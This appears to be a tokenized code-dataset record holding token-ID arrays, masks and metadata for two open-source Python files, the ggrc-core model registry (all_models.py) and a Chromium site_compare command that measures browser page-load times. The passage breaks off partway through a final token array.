721, 277, 304, 267, 372, 291, 14, 1213, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 8944, 3007, 7223, 8884, 8, 992, 14, 1685, 304, 272, 3002, 63, 2051, 275, 1709, 14, 15975, 8, 988, 63, 7022, 29, 21, 12, 6107, 63, 10696, 29, 16, 12, 5062, 63, 498, 29, 549, 9, 272, 4132, 275, 1709, 14, 3190, 8, 5949, 12, 1709, 14, 10855, 9, 272, 2538, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 1543, 83, 26, 450, 83, 7, 450, 334, 277, 14, 1662, 63, 2051, 12, 291, 14, 1213, 9, 421, 199, 533, 30318, 8, 992, 14, 1685, 304, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 8944, 3007, 7012, 16985, 10423, 8, 992, 14, 1685, 304, 272, 4132, 275, 1709, 14, 3190, 8, 5949, 12, 1709, 14, 10855, 9, 272, 327, 4879, 13851, 4132, 272, 8791, 63, 7515, 275, 1709, 14, 3190, 8, 10423, 12, 1709, 14, 3597, 63, 8084, 12, 4596, 29, 549, 12, 2973, 29, 549, 9, 272, 2538, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 1021, 6288, 26, 267, 3747, 63, 6314, 275, 334, 288, 661, 2502, 297, 283, 1213, 297, 283, 4478, 63, 7515, 659, 267, 776, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 1213, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 17669, 323, 8696, 8, 8696, 304, 272, 12681, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 1543, 83, 446, 450, 83, 7, 450, 334, 277, 14, 1213, 12, 291, 14, 5983, 9, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 6529, 1352, 13800, 8, 992, 14, 1685, 304, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 272, 11462, 275, 1709, 14, 7624, 8, 5949, 9, 272, 2737, 275, 1709, 14, 14071, 8, 10820, 29, 797, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 354, 421, 199, 533, 8388, 29457, 8, 992, 14, 1685, 304, 272, 3002, 63, 2051, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 709, 12, 5062, 63, 498, 29, 549, 9, 272, 2005, 63, 698, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 421, 199, 3, 1709, 367, 15433, 2295, 14, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 10902, 8, 992, 14, 1685, 304, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1400, 9, 272, 14492, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1400, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 354, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 593, 4977, 8, 992, 14, 1685, 304, 272, 2599, 63, 344, 275, 1709, 14, 4378, 8, 3327, 63, 498, 29, 549, 9, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 272, 4192, 275, 1709, 14, 3190, 8, 11613, 12, 1709, 14, 10855, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 2071, 83, 737, 450, 83, 2, 450, 334, 277, 14, 354, 12, 291, 14, 2778, 9, 421, 199, 533, 12625, 8, 992, 14, 1685, 304, 272, 4192, 275, 1709, 14, 3190, 8, 11613, 12, 1709, 14, 10855, 12, 3747, 29, 549, 9, 272, 327, 642, 365, 15111, 590, 367, 5343, 314, 666, 3181, 1133, 17247, 2348, 32428, 272, 8396, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 272, 6132, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 593, 4977, 5736, 8, 992, 14, 1685, 304, 272, 5771, 275, 1709, 14, 14298, 8, 14919, 12, 1709, 14, 10855, 12, 5062, 63, 498, 29, 549, 9, 272, 11437, 275, 1709, 14, 8591, 342, 339, 347, 636, 495, 721, 277, 304, 267, 372, 2071, 83, 365, 450, 68, 2, 450, 334, 277, 14, 4597, 14, 354, 12, 291, 14, 474, 9, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 799, 14436, 8, 11613, 304, 272, 23739, 63, 80, 30937, 275, 1709, 14, 5036, 8, 885, 29, 797, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 354, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 12705, 8, 992, 14, 1685, 304, 272, 8889, 275, 1709, 14, 17315, 8, 3235, 29, 549, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 5464, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 20276, 8, 992, 14, 1685, 304, 272, 8033, 275, 1709, 14, 15975, 8, 988, 63, 7022, 29, 709, 12, 6107, 63, 10696, 29, 18, 9, 272, 12524, 275, 1709, 14, 8591, 342, 339, 347, 636, 495, 721, 277, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
kr41/ggrc-core
src/ggrc/models/all_models.py
4
4391
# Copyright (C) 2016 Google Inc. # Licensed under http://www.apache.org/licenses/LICENSE-2.0 <see LICENSE file> """All gGRC model classes grouped together for convenience.""" import sys from ggrc.models import inflector from ggrc.models.access_group import AccessGroup from ggrc.models.assessment import Assessment from ggrc.models.assessment_template import AssessmentTemplate from ggrc.models.audit import Audit from ggrc.models.audit_object import AuditObject from ggrc.models.background_task import BackgroundTask from ggrc.models.categorization import Categorization from ggrc.models.category import CategoryBase from ggrc.models.clause import Clause from ggrc.models.comment import Comment from ggrc.models.context import Context from ggrc.models.control import Control from ggrc.models.control import ControlAssertion from ggrc.models.control import ControlCategory from ggrc.models.custom_attribute_definition import CustomAttributeDefinition from ggrc.models.custom_attribute_value import CustomAttributeValue from ggrc.models.data_asset import DataAsset from ggrc.models.directive import Contract from ggrc.models.directive import Directive from ggrc.models.directive import Policy from ggrc.models.directive import Regulation from ggrc.models.directive import Standard from ggrc.models.document import Document from ggrc.models.event import Event from ggrc.models.facility import Facility from ggrc.models.help import Help from ggrc.models.issue import Issue from ggrc.models.market import Market from ggrc.models.meeting import Meeting from ggrc.models.notification import Notification from ggrc.models.notification import NotificationConfig from ggrc.models.notification import NotificationType from ggrc.models.object_document import ObjectDocument from ggrc.models.object_owner import ObjectOwner from ggrc.models.object_person import ObjectPerson from ggrc.models.objective import Objective from ggrc.models.option import Option from ggrc.models.org_group import OrgGroup from ggrc.models.person import Person from ggrc.models.product import Product from ggrc.models.program import Program from ggrc.models.project import Project from ggrc.models.relationship import Relationship from ggrc.models.relationship import RelationshipAttr from ggrc.models.request import Request from ggrc.models.revision import Revision from ggrc.models.section import Section from ggrc.models.system import Process from ggrc.models.system import System from ggrc.models.system import SystemOrProcess from ggrc.models.vendor import Vendor all_models = [ AccessGroup, Assessment, AssessmentTemplate, Audit, AuditObject, Categorization, CategoryBase, ControlCategory, ControlAssertion, Context, Control, Comment, CustomAttributeDefinition, CustomAttributeValue, DataAsset, Directive, Contract, Policy, Regulation, Standard, Document, Facility, Help, Market, Meeting, Objective, ObjectDocument, ObjectOwner, ObjectPerson, Option, OrgGroup, Vendor, Person, Product, Program, Project, Relationship, RelationshipAttr, Request, Section, Clause, SystemOrProcess, System, Process, Revision, Event, BackgroundTask, NotificationConfig, NotificationType, Notification, Issue ] __all__ = [model.__name__ for model in all_models] def register_model(model): """Add model to all models. This function is used for adding models from different ggrc modules, such as ggrc_workflows or ggrc_risks, to the list of all models in the ggrc module. Args: model: sqlalchemy model to be added to the list of all models. """ current_module = sys.modules[__name__] setattr(current_module, model.__name__, model) model._inflector all_models.append(model) __all__.append(model.__name__) def unregister_model(model): """Remove model from all models. This function removes the given model from the main ggrc module and the all_models list. Args: model: sqlalchemy model that should be removed from the ggrc module """ current_module = sys.modules[__name__] delattr(current_module, model.__name__) inflector.unregister_inflector(model._inflector) if model in all_models: all_models.remove(model) if model.__name__ in __all__: __all__.remove(model.__name__)
apache-2.0
[ 3, 1898, 334, 35, 9, 7800, 4475, 3277, 14, 199, 3, 3909, 1334, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 665, 3239, 5113, 570, 30, 199, 199, 624, 2422, 486, 3975, 35, 1402, 3992, 16251, 10451, 367, 16777, 1041, 199, 199, 646, 984, 199, 199, 504, 486, 71, 1195, 14, 992, 492, 10739, 3283, 199, 504, 486, 71, 1195, 14, 992, 14, 2732, 63, 923, 492, 11003, 2448, 199, 504, 486, 71, 1195, 14, 992, 14, 17452, 492, 3709, 12104, 199, 504, 486, 71, 1195, 14, 992, 14, 17452, 63, 1160, 492, 3709, 12104, 4231, 199, 504, 486, 71, 1195, 14, 992, 14, 14274, 492, 31853, 1741, 199, 504, 486, 71, 1195, 14, 992, 14, 14274, 63, 785, 492, 31853, 1741, 1692, 199, 504, 486, 71, 1195, 14, 992, 14, 7451, 63, 1765, 492, 10257, 3928, 4476, 199, 504, 486, 71, 1195, 14, 992, 14, 7206, 2072, 492, 23995, 269, 2072, 199, 504, 486, 71, 1195, 14, 992, 14, 3710, 492, 13573, 1563, 199, 504, 486, 71, 1195, 14, 992, 14, 8501, 492, 24433, 1180, 199, 504, 486, 71, 1195, 14, 992, 14, 3349, 492, 6819, 199, 504, 486, 71, 1195, 14, 992, 14, 1100, 492, 9470, 199, 504, 486, 71, 1195, 14, 992, 14, 2785, 492, 8612, 199, 504, 486, 71, 1195, 14, 992, 14, 2785, 492, 8612, 26860, 199, 504, 486, 71, 1195, 14, 992, 14, 2785, 492, 8612, 7841, 199, 504, 486, 71, 1195, 14, 992, 14, 4229, 63, 3215, 63, 7463, 492, 8388, 1646, 10701, 199, 504, 486, 71, 1195, 14, 992, 14, 4229, 63, 3215, 63, 585, 492, 8388, 4016, 199, 504, 486, 71, 1195, 14, 992, 14, 576, 63, 6562, 492, 3918, 19979, 199, 504, 486, 71, 1195, 14, 992, 14, 15047, 492, 1448, 6908, 199, 504, 486, 71, 1195, 14, 992, 14, 15047, 492, 3757, 8374, 199, 504, 486, 71, 1195, 14, 992, 14, 15047, 492, 18141, 199, 504, 486, 71, 1195, 14, 992, 14, 15047, 492, 5044, 5332, 199, 504, 486, 71, 1195, 14, 992, 14, 15047, 492, 9739, 199, 504, 486, 71, 1195, 14, 992, 14, 3554, 492, 7543, 199, 504, 486, 71, 1195, 14, 992, 14, 1430, 492, 6763, 199, 504, 486, 71, 1195, 14, 992, 14, 22354, 492, 10859, 12498, 199, 504, 486, 71, 1195, 14, 992, 14, 3437, 492, 15456, 199, 504, 486, 71, 1195, 14, 992, 14, 5237, 492, 13383, 199, 504, 486, 71, 1195, 14, 992, 14, 22270, 492, 7173, 386, 199, 504, 486, 71, 1195, 14, 992, 14, 278, 13800, 492, 3194, 13800, 199, 504, 486, 71, 1195, 14, 992, 14, 6761, 492, 23362, 199, 504, 486, 71, 1195, 14, 992, 14, 6761, 492, 23362, 2028, 199, 504, 486, 71, 1195, 14, 992, 14, 6761, 492, 23362, 804, 199, 504, 486, 71, 1195, 14, 992, 14, 785, 63, 3554, 492, 6935, 5564, 199, 504, 486, 71, 1195, 14, 992, 14, 785, 63, 4597, 492, 6935, 14919, 199, 504, 486, 71, 1195, 14, 992, 14, 785, 63, 5484, 492, 6935, 7344, 199, 504, 486, 71, 1195, 14, 992, 14, 24091, 492, 24921, 6850, 199, 504, 486, 71, 1195, 14, 992, 14, 1422, 492, 3207, 199, 504, 486, 71, 1195, 14, 992, 14, 1308, 63, 923, 492, 13125, 2448, 199, 504, 486, 71, 1195, 14, 992, 14, 5484, 492, 8028, 199, 504, 486, 71, 1195, 14, 992, 14, 2558, 492, 12705, 199, 504, 486, 71, 1195, 14, 992, 14, 6815, 492, 18841, 199, 504, 486, 71, 1195, 14, 992, 14, 1715, 492, 7290, 199, 504, 486, 71, 1195, 14, 992, 14, 11704, 492, 23230, 3319, 199, 504, 486, 71, 1195, 14, 992, 14, 11704, 492, 23230, 3319, 7144, 199, 504, 486, 71, 1195, 14, 992, 14, 1069, 492, 4784, 199, 504, 486, 71, 1195, 14, 992, 14, 5792, 492, 27095, 199, 504, 486, 71, 1195, 14, 992, 14, 2792, 492, 15247, 199, 504, 486, 71, 1195, 14, 992, 14, 2253, 492, 7132, 199, 504, 486, 71, 1195, 14, 992, 14, 2253, 492, 6187, 199, 504, 486, 71, 1195, 14, 992, 14, 2253, 492, 6187, 2844, 3498, 199, 504, 486, 71, 1195, 14, 992, 14, 9884, 492, 812, 7454, 199, 199, 452, 63, 992, 275, 359, 272, 11003, 2448, 12, 272, 3709, 12104, 12, 272, 3709, 12104, 4231, 12, 272, 31853, 1741, 12, 272, 31853, 1741, 1692, 12, 272, 23995, 269, 2072, 12, 272, 13573, 1563, 12, 272, 8612, 7841, 12, 272, 8612, 26860, 12, 272, 9470, 12, 272, 8612, 12, 272, 6819, 12, 272, 8388, 1646, 10701, 12, 272, 8388, 4016, 12, 272, 3918, 19979, 12, 272, 3757, 8374, 12, 272, 1448, 6908, 12, 272, 18141, 12, 272, 5044, 5332, 12, 272, 9739, 12, 272, 7543, 12, 272, 10859, 12498, 12, 272, 15456, 12, 272, 7173, 386, 12, 272, 3194, 13800, 12, 272, 24921, 6850, 12, 272, 6935, 5564, 12, 272, 6935, 14919, 12, 272, 6935, 7344, 12, 272, 3207, 12, 272, 13125, 2448, 12, 272, 812, 7454, 12, 272, 8028, 12, 272, 12705, 12, 272, 18841, 12, 272, 7290, 12, 272, 23230, 3319, 12, 272, 23230, 3319, 7144, 12, 272, 4784, 12, 272, 15247, 12, 272, 24433, 1180, 12, 272, 6187, 2844, 3498, 12, 272, 6187, 12, 272, 7132, 12, 272, 27095, 12, 272, 6763, 12, 272, 10257, 3928, 4476, 12, 272, 23362, 2028, 12, 272, 23362, 804, 12, 272, 23362, 12, 272, 13383, 199, 61, 199, 199, 363, 452, 363, 275, 359, 1238, 855, 354, 363, 367, 1402, 315, 1006, 63, 992, 61, 421, 199, 318, 2274, 63, 1238, 8, 1238, 304, 523, 408, 1123, 1402, 370, 1006, 1709, 14, 819, 961, 805, 365, 1202, 367, 7791, 1709, 687, 3365, 486, 71, 1195, 4621, 12, 4066, 465, 523, 486, 71, 1195, 63, 25964, 503, 486, 71, 1195, 63, 27473, 83, 12, 370, 314, 769, 402, 1006, 1709, 315, 314, 486, 71, 1195, 859, 14, 819, 3033, 26, 272, 1402, 26, 8335, 1402, 370, 506, 3483, 370, 314, 769, 402, 1006, 1709, 14, 523, 408, 523, 1453, 63, 578, 275, 984, 14, 3112, 28894, 354, 22705, 523, 5371, 8, 1818, 63, 578, 12, 1402, 855, 354, 3108, 1402, 9, 523, 1402, 423, 4904, 3283, 523, 1006, 63, 992, 14, 740, 8, 1238 ]
[ 1898, 334, 35, 9, 7800, 4475, 3277, 14, 199, 3, 3909, 1334, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 665, 3239, 5113, 570, 30, 199, 199, 624, 2422, 486, 3975, 35, 1402, 3992, 16251, 10451, 367, 16777, 1041, 199, 199, 646, 984, 199, 199, 504, 486, 71, 1195, 14, 992, 492, 10739, 3283, 199, 504, 486, 71, 1195, 14, 992, 14, 2732, 63, 923, 492, 11003, 2448, 199, 504, 486, 71, 1195, 14, 992, 14, 17452, 492, 3709, 12104, 199, 504, 486, 71, 1195, 14, 992, 14, 17452, 63, 1160, 492, 3709, 12104, 4231, 199, 504, 486, 71, 1195, 14, 992, 14, 14274, 492, 31853, 1741, 199, 504, 486, 71, 1195, 14, 992, 14, 14274, 63, 785, 492, 31853, 1741, 1692, 199, 504, 486, 71, 1195, 14, 992, 14, 7451, 63, 1765, 492, 10257, 3928, 4476, 199, 504, 486, 71, 1195, 14, 992, 14, 7206, 2072, 492, 23995, 269, 2072, 199, 504, 486, 71, 1195, 14, 992, 14, 3710, 492, 13573, 1563, 199, 504, 486, 71, 1195, 14, 992, 14, 8501, 492, 24433, 1180, 199, 504, 486, 71, 1195, 14, 992, 14, 3349, 492, 6819, 199, 504, 486, 71, 1195, 14, 992, 14, 1100, 492, 9470, 199, 504, 486, 71, 1195, 14, 992, 14, 2785, 492, 8612, 199, 504, 486, 71, 1195, 14, 992, 14, 2785, 492, 8612, 26860, 199, 504, 486, 71, 1195, 14, 992, 14, 2785, 492, 8612, 7841, 199, 504, 486, 71, 1195, 14, 992, 14, 4229, 63, 3215, 63, 7463, 492, 8388, 1646, 10701, 199, 504, 486, 71, 1195, 14, 992, 14, 4229, 63, 3215, 63, 585, 492, 8388, 4016, 199, 504, 486, 71, 1195, 14, 992, 14, 576, 63, 6562, 492, 3918, 19979, 199, 504, 486, 71, 1195, 14, 992, 14, 15047, 492, 1448, 6908, 199, 504, 486, 71, 1195, 14, 992, 14, 15047, 492, 3757, 8374, 199, 504, 486, 71, 1195, 14, 992, 14, 15047, 492, 18141, 199, 504, 486, 71, 1195, 14, 992, 14, 15047, 492, 5044, 5332, 199, 504, 486, 71, 1195, 14, 992, 14, 15047, 492, 9739, 199, 504, 486, 71, 1195, 14, 992, 14, 3554, 492, 7543, 199, 504, 486, 71, 1195, 14, 992, 14, 1430, 492, 6763, 199, 504, 486, 71, 1195, 14, 992, 14, 22354, 492, 10859, 12498, 199, 504, 486, 71, 1195, 14, 992, 14, 3437, 492, 15456, 199, 504, 486, 71, 1195, 14, 992, 14, 5237, 492, 13383, 199, 504, 486, 71, 1195, 14, 992, 14, 22270, 492, 7173, 386, 199, 504, 486, 71, 1195, 14, 992, 14, 278, 13800, 492, 3194, 13800, 199, 504, 486, 71, 1195, 14, 992, 14, 6761, 492, 23362, 199, 504, 486, 71, 1195, 14, 992, 14, 6761, 492, 23362, 2028, 199, 504, 486, 71, 1195, 14, 992, 14, 6761, 492, 23362, 804, 199, 504, 486, 71, 1195, 14, 992, 14, 785, 63, 3554, 492, 6935, 5564, 199, 504, 486, 71, 1195, 14, 992, 14, 785, 63, 4597, 492, 6935, 14919, 199, 504, 486, 71, 1195, 14, 992, 14, 785, 63, 5484, 492, 6935, 7344, 199, 504, 486, 71, 1195, 14, 992, 14, 24091, 492, 24921, 6850, 199, 504, 486, 71, 1195, 14, 992, 14, 1422, 492, 3207, 199, 504, 486, 71, 1195, 14, 992, 14, 1308, 63, 923, 492, 13125, 2448, 199, 504, 486, 71, 1195, 14, 992, 14, 5484, 492, 8028, 199, 504, 486, 71, 1195, 14, 992, 14, 2558, 492, 12705, 199, 504, 486, 71, 1195, 14, 992, 14, 6815, 492, 18841, 199, 504, 486, 71, 1195, 14, 992, 14, 1715, 492, 7290, 199, 504, 486, 71, 1195, 14, 992, 14, 11704, 492, 23230, 3319, 199, 504, 486, 71, 1195, 14, 992, 14, 11704, 492, 23230, 3319, 7144, 199, 504, 486, 71, 1195, 14, 992, 14, 1069, 492, 4784, 199, 504, 486, 71, 1195, 14, 992, 14, 5792, 492, 27095, 199, 504, 486, 71, 1195, 14, 992, 14, 2792, 492, 15247, 199, 504, 486, 71, 1195, 14, 992, 14, 2253, 492, 7132, 199, 504, 486, 71, 1195, 14, 992, 14, 2253, 492, 6187, 199, 504, 486, 71, 1195, 14, 992, 14, 2253, 492, 6187, 2844, 3498, 199, 504, 486, 71, 1195, 14, 992, 14, 9884, 492, 812, 7454, 199, 199, 452, 63, 992, 275, 359, 272, 11003, 2448, 12, 272, 3709, 12104, 12, 272, 3709, 12104, 4231, 12, 272, 31853, 1741, 12, 272, 31853, 1741, 1692, 12, 272, 23995, 269, 2072, 12, 272, 13573, 1563, 12, 272, 8612, 7841, 12, 272, 8612, 26860, 12, 272, 9470, 12, 272, 8612, 12, 272, 6819, 12, 272, 8388, 1646, 10701, 12, 272, 8388, 4016, 12, 272, 3918, 19979, 12, 272, 3757, 8374, 12, 272, 1448, 6908, 12, 272, 18141, 12, 272, 5044, 5332, 12, 272, 9739, 12, 272, 7543, 12, 272, 10859, 12498, 12, 272, 15456, 12, 272, 7173, 386, 12, 272, 3194, 13800, 12, 272, 24921, 6850, 12, 272, 6935, 5564, 12, 272, 6935, 14919, 12, 272, 6935, 7344, 12, 272, 3207, 12, 272, 13125, 2448, 12, 272, 812, 7454, 12, 272, 8028, 12, 272, 12705, 12, 272, 18841, 12, 272, 7290, 12, 272, 23230, 3319, 12, 272, 23230, 3319, 7144, 12, 272, 4784, 12, 272, 15247, 12, 272, 24433, 1180, 12, 272, 6187, 2844, 3498, 12, 272, 6187, 12, 272, 7132, 12, 272, 27095, 12, 272, 6763, 12, 272, 10257, 3928, 4476, 12, 272, 23362, 2028, 12, 272, 23362, 804, 12, 272, 23362, 12, 272, 13383, 199, 61, 199, 199, 363, 452, 363, 275, 359, 1238, 855, 354, 363, 367, 1402, 315, 1006, 63, 992, 61, 421, 199, 318, 2274, 63, 1238, 8, 1238, 304, 523, 408, 1123, 1402, 370, 1006, 1709, 14, 819, 961, 805, 365, 1202, 367, 7791, 1709, 687, 3365, 486, 71, 1195, 4621, 12, 4066, 465, 523, 486, 71, 1195, 63, 25964, 503, 486, 71, 1195, 63, 27473, 83, 12, 370, 314, 769, 402, 1006, 1709, 315, 314, 486, 71, 1195, 859, 14, 819, 3033, 26, 272, 1402, 26, 8335, 1402, 370, 506, 3483, 370, 314, 769, 402, 1006, 1709, 14, 523, 408, 523, 1453, 63, 578, 275, 984, 14, 3112, 28894, 354, 22705, 523, 5371, 8, 1818, 63, 578, 12, 1402, 855, 354, 3108, 1402, 9, 523, 1402, 423, 4904, 3283, 523, 1006, 63, 992, 14, 740, 8, 1238, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Nu3001/external_chromium_org
tools/site_compare/commands/measure.py
189
1573
# Copyright (c) 2011 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Command for measuring how long pages take to load in a browser. Prerequisites: 1. The command_line package from tools/site_compare 2. Either the IE BHO or Firefox extension (or both) Installation: 1. Build the IE BHO, or call regsvr32 on a prebuilt binary 2. Add a file called "measurepageloadtimeextension@google.com" to the default Firefox profile directory under extensions, containing the path to the Firefox extension root Invoke with the command line arguments as documented within the command line. """ import command_line import win32process from drivers import windowing from utils import browser_iterate def CreateCommand(cmdline): """Inserts the command and arguments into a command line for parsing.""" cmd = cmdline.AddCommand( ["measure"], "Measures how long a series of URLs takes to load in one or more browsers.", None, ExecuteMeasure) browser_iterate.SetupIterationCommandLine(cmd) cmd.AddArgument( ["-log", "--logfile"], "File to write output", type="string", required=True) def ExecuteMeasure(command): """Executes the Measure command.""" def LogResult(url, proc, wnd, result): """Write the result of the browse to the log file.""" log_file.write(result) log_file = open(command["--logfile"], "w") browser_iterate.Iterate(command, LogResult) # Close the log file and return. We're done. log_file.close()
bsd-3-clause
[ 3, 1898, 334, 67, 9, 7760, 710, 12051, 6642, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 624, 3110, 367, 17616, 4039, 4212, 1846, 6497, 5452, 370, 2248, 315, 282, 7042, 14, 199, 199, 2398, 30140, 26, 523, 413, 14, 710, 1414, 63, 604, 2559, 687, 7249, 15, 2124, 63, 5785, 523, 499, 14, 13083, 314, 15292, 699, 2979, 503, 24584, 3329, 334, 269, 3865, 9, 199, 199, 31456, 26, 523, 413, 14, 6516, 314, 15292, 699, 2979, 12, 503, 1240, 295, 458, 10922, 708, 641, 282, 876, 11730, 3366, 523, 499, 14, 2654, 282, 570, 2797, 298, 9580, 1606, 912, 521, 3435, 32, 3098, 14, 957, 2, 370, 1362, 314, 849, 24584, 4690, 2082, 1334, 5478, 12, 3035, 1362, 314, 931, 370, 314, 24584, 3329, 1738, 199, 199, 27736, 543, 314, 1414, 1004, 2368, 465, 22751, 4453, 199, 1589, 1414, 1004, 14, 199, 624, 199, 199, 646, 1414, 63, 604, 199, 646, 4747, 708, 1412, 199, 199, 504, 19016, 492, 4353, 316, 199, 504, 3778, 492, 7042, 63, 20627, 199, 199, 318, 2790, 3110, 8, 15612, 304, 523, 408, 9971, 83, 314, 1414, 436, 2368, 1901, 282, 1414, 1004, 367, 6057, 1041, 523, 2088, 275, 21206, 14, 1123, 3110, 8, 272, 2097, 9580, 2255, 272, 298, 1352, 305, 1482, 4212, 1846, 282, 6779, 402, 10867, 6181, 370, 2248, 315, 1373, 503, 1655, 23776, 4765, 272, 488, 12, 272, 17009, 18611, 9, 819, 7042, 63, 20627, 14, 8555, 8666, 16926, 8, 1760, 9, 523, 2088, 14, 1123, 5201, 8, 272, 16984, 793, 401, 4320, 12804, 2255, 298, 1173, 370, 2218, 1072, 401, 730, 628, 875, 401, 1415, 29, 549, 9, 421, 199, 318, 17009, 18611, 8, 1531, 304, 523, 408, 4858, 3862, 314, 22933, 1414, 1041, 819, 347, 5297, 2889, 8, 633, 12, 6499, 12, 336, 977, 12, 754, 304, 272, 408, 3534, 314, 754, 402, 314, 19249, 370, 314, 943, 570, 1041, 272, 943, 63, 493, 14, 952, 8, 1099, 9, 819, 943, 63, 493, 275, 1551, 8, 1531, 905, 306, 12804, 2255, 298, 87, 531, 819, 7042, 63, 20627, 